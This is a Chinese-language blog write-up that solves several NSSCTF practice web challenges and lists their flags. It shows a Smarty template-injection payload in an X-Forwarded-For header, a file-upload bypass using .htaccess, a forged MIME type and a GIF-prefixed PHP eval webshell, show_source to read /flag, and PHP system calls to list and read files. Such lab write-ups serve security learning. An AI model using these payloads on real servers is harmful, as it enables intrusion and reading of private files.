NSSCTF{4bf4e46c-0f42-4cdf-8d73-2dc4687a1cdb}

[NISACTF 2022]midlevel

这道题的页面打开和前面那道web11的smarty模板注入的页面只能说是一模一样了
那就直接照那题的打法试一试

1
X-Forwarded-For:{if system('cat /f*')}{/if}

直接得到flag
NSSCTF{3303c48f-0195-4b88-a682-c0ba6f40f250}

[UUCTF 2022 新生赛]websign

打开,提示我们查看源代码
浏览器打开开发者工具直接查看源代码,就得到了flag
NSSCTF{4d7ea0a0-423f-43f9-9d1a-63c499447864}

[GXYCTF 2019]BabyUpload

首先试一下直接上传php文件,芜湖,似乎不行
上传jpg后缀文件,抓包改后缀为php,phtml之类的都不行
那就试试.htaccess

文件上传.htaccess

但是在上传.htaccess文件时,显示这上传的文件类型太露骨了
然后再上传改了后缀的一句话木马时,显示这明显还是php啊
那证明可能也有检测我们上传文件的文件内容
首先既然提示上传的文件类型太露骨了,那可能是检测了MIME类型

MIME类型检测

我们上传了.htaccess之后抓包改改Content-Type头试试
把原来的类型改为我蓝色箭头标上的jpg类型

然后就提示上传成功

1
/var/www/html/upload/b9c2691f3e170da763f746d557d1fb58/.htaccess succesfully uploaded!

然后那个说别懵他,明显还是php啊
这里我们试试用其他的一句话木马来代替php的< ?标签,把1.jpg改为下面的内容

无php标签的script一句话木马
1
2
GIF89a
<script language='php'>@eval($_POST["qw"]);</script>

然后发现1.jpg也上传成功

1
/var/www/html/upload/b9c2691f3e170da763f746d557d1fb58/1.jpg succesfully uploaded!

我们访问一下,发现可以看到

显示了GIF头,但是我们POST传参,qw=system(“ls”);之类的却没有任何反应
我们传入 qw=phpinfo()查看一下,发现禁止了很多内置函数

show_source() 函数–禁止了很多内置函数时使用

这里就要提一下这个函数了
show_source() 函数对文件进行语法高亮显示。 show_source(filename,return) 本函数是 highlight_file 的别名。 filename 必需。要进行高亮处理的 PHP 文件的路径。
return 可选。如果设置 true,则本函数返回高亮处理的代码。
所以这道题的payload如下

1
qw=show_source('/flag');

然后这里也可以在访问成功,显示了GIF89a的时候就用蚁剑连接也可以找到flag

[GDOUCTF 2023]hate eat snake

这个题在这个比赛的wp中我发过了

js逻辑漏洞

硬玩,反正我不行
查看一下网页源代码,找到js文件
看到有一段很长的代码,然后划到最后去有alert
前面有一个if判断语句

1
2
if(this['getScore']()>-0x1e9*-0xf+0x5*0x6d+-0x2e*0xaa)
return alert(_0x324fcb(0x2d9,0x2c3,0x2db,0x2f3)+'k3r_h0pe_t'+_0xe4a674(0x5a1,0x595,0x59e,0x57c)+'irlfriend}'),![];

所以我们只要把if里面的语句改为真,那就可以成功出现弹窗,所以我们可以把if里面的判断条件改成1=1
找个js网站运行一下,就可以弹出flag,或者直接删去if语句,只留下alert语句然后在控制台执行也可以弹出flag
然后还有的解是
直接撞墙死了,然后弹窗按取消,然后等待一分钟,再次按空格开始,也会弹出flag
NSSCTF{J_0k3r_h0pe_to_have_@_girlfriend}

[LitCTF 2023]PHP是世界上最好的语言!!

打开页面是一个加密的页面,如下

然后我们就在那个run code那个框里输入一些我们的代码,先试试

1
2
3
<?php
phpinfo();
?>


可以执行,题目又提示flag在根目录,所以

1
2
3
<?php
system("ls /"); //然后再是system("cat /f*")
?>

NSSCTF{206865c6-cf0a-4688-80e5-9c4ba625e85a}

评论